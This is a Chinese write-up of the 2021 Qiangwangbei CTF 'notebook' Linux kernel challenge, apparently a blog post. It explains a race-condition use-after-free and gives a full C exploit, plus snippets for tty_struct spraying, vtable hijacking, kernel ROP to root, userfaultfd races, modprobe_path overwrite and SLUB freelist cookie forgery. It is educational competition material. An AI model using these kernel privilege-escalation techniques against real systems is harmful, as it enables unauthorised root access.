从强网杯 Notebook 看内核条件竞争

0x00 逆向分析

​ 题目给了有漏洞的内核模块 notebook.ko,内核保护 KASLR、SMAP、SMEP、KPTI 全开。

notebook.ko 给了 4 个功能 noteaddnotedelnoteeditnotegift,加上读写 mynote_readmynote_write 一共 6 种操作。

noteadd

notedel

noteedit

notegift

mynote_read

mynote_write

​ 乍看之下好像没什么明显的溢出漏洞,但是 lock 操作显得有些突兀。Google 一下 lockcopy_from/to_user 发现 copy_from/to_user 可能引发缺页中断(从而导致进程调度),不能在自旋锁的临界区使用。

​ 所以可能就有这样一条链来通过条件竞争来构造:

  1. 通过 noteadd 分配一个 0x20 大小的 slub 块。

  2. 再次执行 noteadd ,size 为 0x60,不过这次我们在 copy_from_user 时让他卡住。这样在mynote_write 的时候就能向我们第一次分配的 0x20 的块内写入 0x60 的数据。

    但是实际情况是 raw_read_lock 没有办法构造我们希望的死锁。需要另想办法。

0x01 Race Condition

​ 看到题目给的 qemu 的启动命令,是有 -smp cores=2,threads=2 的。所以考虑利用 copy_from_user 导致的缺页中断来条件竞争。userfaultfd 可以很好的劫持掉缺页的处理,也可以用风水式的硬竞争来爆这个竞争窗口 (will 解法)。

​ 在 noteedit 函数中,krealloc 把原来的块 kfree 掉并分配一个新块。如果在 copy_from_user 断下来,notebook->note 还没来得及更新,就产生了一个可以利用的 UAF 了。常规的解法思路就是利用这个 UAF 去喷 tty_struct

0x02 利用

​ 这里介绍四种利用姿势,分别是队里 will 师傅的解法、X1cT34m 战队的解法、L-team 战队的解法、长亭师傅的解法。除了 X1cT34m 外,其他的三种解法思路都一样,只是竞争获取 UAF 的方式有差别。

​ 这里只放上 will 的 exp,L-team 战队 exp 见 [强网杯2021-线上赛] Pwn方向writeup By L-team,长亭师傅的 exp 见 第五届强网杯线上赛冠军队 WriteUp - Pwn 篇,X1cT34m 的 exp 见 强网杯2021 Writeup by X1cT34m

exp1

​ 分步骤解析一下 will 的利用:

  1. 通过很多次抢占竞争窗口,获得 notebook 上两个一样的 note 地址。

  2. free 掉其中一个 note 产生 UAF,并用 tty_struct 来喷射这个被 free 的 slub 块。

  3. 通过 tty_struct 中的虚表地址泄露内核基地址,然后劫持虚表,进行内核 ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define __USE_GNU
#include <sched.h>
#include <x86intrin.h>
#include <pthread.h>
#include <sys/sysinfo.h>
#include <errno.h>
#define uint64_t u_int64_t

#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144

#define MAP_ADDR 0x1000000

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;

size_t commit_creds_addr=0, prepare_kernel_cred_addr=0;

void get_root() {
commit_creds(prepare_kernel_cred(0));
}

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
}

static void win() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] Win!");
execve("/bin/sh", argv, envp);
}

typedef struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
}Userarg;

typedef struct node{
uint64_t note;
uint64_t size;
}Node;

Userarg arg;
Node note[0x10];

uint64_t ko_base = 0;
char buf[0x1000] = {0};

int gift(uint64_t fd,char* buf){
memset(&arg, 0, sizeof(Userarg));
memset(buf, 0xcc, 0);
arg.buf = buf;
return ioctl(fd,100,&arg);
}

int add(uint64_t fd,uint64_t idx,uint64_t size,char* buf){
memset(&arg, 0, sizeof(Userarg));
arg.idx = idx;
arg.size = size;
arg.buf = buf;
return ioctl(fd,0x100,&arg);
}

int del(uint64_t fd,uint64_t idx){
memset(&arg, 0, sizeof(Userarg));
arg.idx = idx;
return ioctl(fd,0x200,&arg);
}

int edit(uint64_t fd,uint64_t idx,uint64_t size,char* buf){
memset(&arg, 0, sizeof(Userarg));
arg.idx = idx;
arg.size = size;
arg.buf = buf;
return ioctl(fd,0x300,&arg);
}

size_t find_symbols()
{
int kallsyms_fd = open("/tmp/moduleaddr", O_RDONLY);

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
read(kallsyms_fd,buf,24);
char hex[20] = {0};
read(kallsyms_fd,hex,18);
sscanf(hex, "%llx", &ko_base);
printf("ko_base addr: %#lx\n", ko_base);
}


size_t vmlinux_base = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_do_tty_hangup = 0xffffffff815af980;
size_t raw_commit_creds = 0xffffffff810a9b40;
size_t raw_prepare_kernel_cred = 0xffffffff810a9ef0;
size_t raw_regcache_mark_dirty = 0xffffffff816405b0;
size_t raw_x64_sys_chmod = 0xffffffff81262280;
size_t raw_msleep = 0xffffffff81102360;

size_t raw_pop_rdi = 0xffffffff81007115; //pop rdi; ret;
size_t raw_pop_rdx = 0xffffffff81358842; //pop rdx; ret;
size_t raw_pop_rcx = 0xffffffff812688f3; //pop rcx; ret;

//0xffffffff8250747f : mov rdi, rax ; call rdx
//0xffffffff8147901d : mov rdi, rax ; ja 0xffffffff81479013 ; pop rbp ; ret
//size_t raw_mov_rdi_rax = 0xffffffff8195d1c2; //mov rdi, rax; cmp r8, rdx; jne 0x2cecb3; ret;
size_t raw_mov_rdi_rax = 0xffffffff8147901d;

size_t raw_pop_rax = 0xffffffff81540d04;//pop rax; ret;
size_t raw_mov_rdi_rbx = 0xffffffff824f6a4c; //mov rdi, rbx; call rax;
size_t raw_pop_rsi = 0xffffffff8143438e; //pop rsi; ret;
size_t raw_push_rax = 0xffffffff81035b63;//push rax; ret;
size_t raw_pop_rdi_call = 0xffffffff81f0b51c; //pop rdi; call rcx;
size_t raw_xchg_eax_esp = 0xffffffff8101d247;

//这里注意一定要使用这个gadget去维持栈平衡
//0xffffffff81063710 : push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
size_t raw_mov_cr4_rdi = 0xffffffff81063710;

size_t base_add(size_t addr){
return addr - raw_vmlinux_base + vmlinux_base;
}

int main()
{
find_symbols();
int fd = open("/dev/notebook", O_RDWR);
if (fd < 0)
{
puts("[*]open notebook error!");
exit(0);
}

struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));

save_state();
memset(fake_tty_operations, 0, sizeof(struct tty_operations));


START:
for (int i = 0; i < 0x10; i++)
{
del(fd,i);
}

//偶数id 用来申请0x2e0的chunk
for (int i = 0; i < 0x10; i+=2)
{
edit(fd, i, 0x2e0, "will");
}

pid_t pid = fork();
if (!pid)
{
sleep(1);
for (int i = 0; i < 0x10; i+=2)
{
edit(fd, i, 0, 0); //triggle sleep from page fault
sleep(0.1);
}
return 0;
}
else
{
for (int i = 0;i < 0x10;i+=2){
gift(fd, buf);
while (*(uint64_t *)(buf + i * 0x10 + 8))
{
gift(fd, buf);
}
//将被释放的偶数id的chunk 用奇数id申请回来, 有几率造成chunk overlap
edit(fd,i+1,0x2e0,"temp");
edit(fd,i,0x2e0,"temp");
}

//存储所有的note
gift(fd, buf);
for (int i = 0;i < 0x10;i++){
note[i].note = *(uint64_t *)(buf + i * 0x10);
note[i].size = *(uint64_t *)(buf + i*0x10 + 8);
printf("note[%d] addr: %#lx , size: %d\n", i, *(uint64_t *)(buf + i * 0x10), *(uint64_t *)(buf + i*0x10 + 8));
}
}

//找到两个chunk overlap的id
int x = -1,y = -1;
for (int i = 0;i < 0x10;i++){
for (int j = i + 1;j < 0x10;j++){
if (note[i].note == note[j].note && note[i].note){
x = i;
y = j;
break;
}
}
if (x != -1 && y != -1)
break;
}
//如果没找到,再来一遍
if (x == -1 || y == -1)
goto START;
else{
printf("x idx : %d\n",x);
printf("y idx : %d\n",y);
}

//此时x和y指向同一块地址空间,释放y,可以用x 去write这块空间
del(fd,y);

//多次open保证tty占位
//因为这里似乎有坑点,查看alloc_tty_struct函数发现,这里的tty大小是0x3a8
//虽然0x3e8和0x2e0都是0x400的slab,但是单次申请不保证成功
puts("[+] Spraying buffer with tty_struct");
for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}

char tmp[0x2e0] = {0};
read(fd,tmp,x);
if (tmp[0] != 0x01 || tmp[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}

//伪造一个tty vtable,id为y
char tty_buf[0x200] = {0} ;
memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations));
edit(fd,y, sizeof(struct tty_operations), "1");
write(fd, tty_buf, y);
gift(fd, buf);
uint64_t fake_vtable = *(uint64_t *)(buf + 0x10*y);

//读出虚表地址,泄露内核地址 ; 并替换虚表为我们伪造的虚表
uint64_t *temp = (uint64_t*)&tmp[24];
uint64_t old_vtable = *temp;
*temp = fake_vtable;
printf("old vtable is %p\n", old_vtable);
write(fd,tmp,x);
vmlinux_base = old_vtable - 0xe8e440;
printf("kerbel base is %p\n", vmlinux_base);


//在用户空间mmap 一块切栈后的地址空间
size_t xchg_eax_esp = base_add(raw_xchg_eax_esp);
size_t base = xchg_eax_esp & 0xfffff000;
void *map_addr = mmap((void *)base,0x3000,7,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
if(base != (uint64_t)map_addr){
printf("mmap failed!n");
exit(-1);
}


//将fake_vtable中的ioctl函数替换为raw_regcache_mark_dirty函数(one gadget --> two gadget)
fake_tty_operations->ioctl = base_add(raw_regcache_mark_dirty);
memset(tty_buf,0,0x200);
memcpy(tty_buf, fake_tty_operations, sizeof(struct tty_operations));
write(fd, tty_buf, y);


*((uint64_t *)(tmp)+0x20/8+3) = base_add(raw_mov_cr4_rdi); //lock
*((uint64_t *)(tmp)+0x28/8+3) = xchg_eax_esp; //unlock
*((uint64_t *)(tmp)+0x30/8+3) = 0x6f0; //lock_arg ; rdi
write(fd,tmp,x);

size_t pop_rdi = base_add(raw_pop_rdi);
size_t pop_rdx = base_add(raw_pop_rdx);
size_t mov_rdi_rax = base_add(raw_mov_rdi_rax);
size_t pop_rsi = base_add(raw_pop_rsi);
prepare_kernel_cred_addr = base_add(raw_prepare_kernel_cred);
commit_creds_addr = base_add(raw_commit_creds);
size_t xor_edi_edi = base_add(0xffffffff8105c0e0);

//这里swapgs的时候顺便把KPTI关了
size_t swapgs_restore_regs_and_return_to_usermode = base_add(0xffffffff81a0095f);

size_t rop[0x50];
char* flag_str = "/flag\x00";
int i=0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = xor_edi_edi;
rop[i++] = mov_rdi_rax;
rop[i++] = 0;
rop[i++] = commit_creds_addr;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (unsigned long)&win;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

memcpy((void *)(xchg_eax_esp&0xffffffff),rop,sizeof(rop));


//debug
printf("vtable addr : %p\n", fake_vtable);
printf("regcache_mark_dirty addr : %p\n", base_add(raw_regcache_mark_dirty));
char x_buf[10];
read(0,x_buf, 10);

puts("[+] Triggering");
for (int i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0);
}
return 0;
}

exp2

​ L-team 战队的 exp 应该是最好理解的:

  1. 分配一个 0x3ff 的块,然后调用 noteedit 将这个块变为 0x400,并在 copy_from_user 时触发缺页。(保证在 realloc 操作时不重新分配,保留原来的块即可)

    1
    2
    3
    4
    add(fd,0,0x20,a);
    //add(fd,0,0,addr);
    edit(fd,0,0x3ff,a);
    edit(fd,0,0x400,addr);
  2. 通过 userfaultfd 劫持掉 noteedit 中的 copy_from_user

  3. uffd_handler 中将这个块 free 掉,之后让陷入 uffd 的线程继续被执行。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    static void *
    fault_handler_thread(void *arg)
    {
    // ...

    char a[10]="sad";
    edit(fd,0,0x600,a); // free 掉原来的块
    edit(fd,0,0x400,a); // 保持原来的 size,为了过 mynote_write 中的 size check
    // ...
    }
    }
  4. 在线程继续执行后会执行 noteedit 中的 v5->note = v7,这个 v7 还是最初分配时候的块。而这个块已经在 uffd_handler 中被 free 了。这就产生了 UAF。

  5. 之后的过程和 will 的 exp 一样,喷 tty,构造 ROP。

exp3

​ 长亭的师傅的 exp 的 UAF 构造和前两种又不一样:

  1. 分配 n 个 0x400 大小的块,然后新建 n 个线程通过 noteedit 把这 n 个块 free 掉,并一直卡死。
  2. 这样在主线程看来,已经有 n 个 UAF 的块了。对这 n 个块进行 noteedit 改小 size 过 check。
  3. 通过 tty_struct 喷射,后面的过程又一模一样了。

exp4

​ X1cT34m 的 exp 是这四个里面最简单且最巧妙的。简单在不需要内核 ROP,而是通过 modprobe_path 来提权;巧妙在利用了 slub 的控制字节(freelist 单向链表,类似 fastbin)。

  1. 分配两个 0x60 的块,分别为 chunk1, chunk2。
  2. 通过 gift 读出 chunk1 和 chunk2 的地址。
  3. free(chunk2) , free(chunk1),此时 freelist -> chunk1 -> chunk2
  4. 再次分配 chunk1 和 chunk2,通过 gift 确保和上次分配的是同两个块。
  5. 此时读出 chunk1 的前 8 字节,这 8 字节应为 cookie ^ chunk1_addr ^ chunk2_addr(详见 Kirin)。这样就能泄露出 cookie。
  6. 然后在 mynote_write 中利用 copy_from_user 形成缺页。
  7. uffd_handler 中 free 掉 chunk1。在恢复执行的时候仍然可以向被 free 掉的 chunk1 中写入构造好的内容。此时我们写入 8 字节 cookie ^ chunk1_addr ^ notebook_addr-0x10 即可将 freelist 链改为 freelist -> chunk1 -> notebook_addr - 0x10。(但此时 freelist 链并不合法)
  8. 由于 name 在 bss 上的位置正好在 notebook 的前面,所以可以将 note_addr - 0x10 的地方写为 cookie ^ notebook_addr - 0x10 ^ 0,这样 freelist 链就合法了。
  9. 现在 notebook 可控,就能拿到任意地址读写的权力了。通过 notebook.ko 调用内核函数的地方泄露内核基地址,然后改写 modprobe_path 来提权。

0x03 坑点

userfaultfd

​ 这个在条件竞争中很好用,如果条件竞争的原因是缺页,那么 userfaultfd 可以保证 100% 的竞争成功率。但是要注意的是,uffd_handler 内,没有办法分配回刚刚放入 freelist 的堆块,正确的姿势是回到主线程再进行分配或者堆喷。

tty_struct

​ 这个堆喷技巧挺常用,但是有个坑点是 tty_struct 的 size 并不一定是 0x2e0。正确定位其 size 的做法是在 ida 中解析 vmlinux ,查找字符串 “&tty->legacy_mutex” 的引用。定位到类似 v2 = (_DWORD *)sub_FFFFFFFF81236300(qword_FFFFFFFF8288F810, 21004480LL, 0x3A8LL); 的函数,最后一个参数就是 tty_struct 的大小。(即使 0x2e0 和 0x3a8 都是 0x400 的 slub)

ONE gadget to TWO gadget

raw_regcache_mark_dirty 函数具有非常好的性质,能够劫持两次程序流而且都能控制第一个参数,不过两次 rdi 的值都是一样的。以及第一次 call 的 gadget 需要保证栈平衡返回。

 在本题的内核版本中有设置 rc4 的 gadget。

​ 第二次 call 就可以考虑直接栈迁移进行 ROP 了。由于调用指令是 jmp rax,所以 rax 是确定的,因此需要一个 xchg esp,eax; ret 的 gadget。之后就可以把栈迁移到用户了。

​ 但是注意 KPTI 有个特性是即使关闭了 SMAP 和 SMEP,也只能读写用户空间,不能执行用户空间代码。原因是:

不隔离不意味着完全相同,填充内核态页表项时,KPTI 会给页表项加上_PAGE_NX标志,以阻止执行内核态页表所映射用户地址空间的代码。在 KAISER patch 里把这一步骤叫 毒化(poison)。

​ 所以还是只能老老实实找内核 gadget,然后打 ROP。

work_for_cpu_fn

​ 这个 gadget 可以直接完成提权,这是长亭师傅的方法,及其简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:FFFFFFFF81097E90 ; void __fastcall work_for_cpu_fn(work_struct *work)
.text:FFFFFFFF81097E90 work_for_cpu_fn proc near ; DATA XREF: .init.data:FFFFFFFF825205D0↓o
.text:FFFFFFFF81097E90 work = rdi ; work_struct *
.text:FFFFFFFF81097E90 call __fentry__ ; PIC mode
.text:FFFFFFFF81097E95 push rbx
.text:FFFFFFFF81097E96 mov rbx, work
.text:FFFFFFFF81097E99 mov work, [work+28h]
.text:FFFFFFFF81097E9D work = rbx ; work_struct *
.text:FFFFFFFF81097E9D mov rax, [work+20h]
.text:FFFFFFFF81097EA1 call __x86_indirect_thunk_rax ; PIC mode
.text:FFFFFFFF81097EA6 mov [work+30h], rax
.text:FFFFFFFF81097EAA pop work
.text:FFFFFFFF81097EAB retn
.text:FFFFFFFF81097EAB work_for_cpu_fn endp

​ 这个函数完成的功能是 *(size_t *)(rdi + 0x30) = ((size_t (*) (size_t))(rdi + 0x20))(rdi + 0x28) ,所以只需要调用两次这个函数就能完成 commit_creds(prepare_kernel_cred(0)) 并且正常返回。

Freelist Harden

​ 编译内核的时候 enable 了 CONFIG_SLAB_FREELIST_HARDENED 选项后就会有 slab_cookie。没有 cookie 的情况下直接像 fastbin 一样就可以任意地址分配。有了 cookie 需要先泄露 cookie,而且还需要布置想要分配位置的值为 cookie ^ self_addr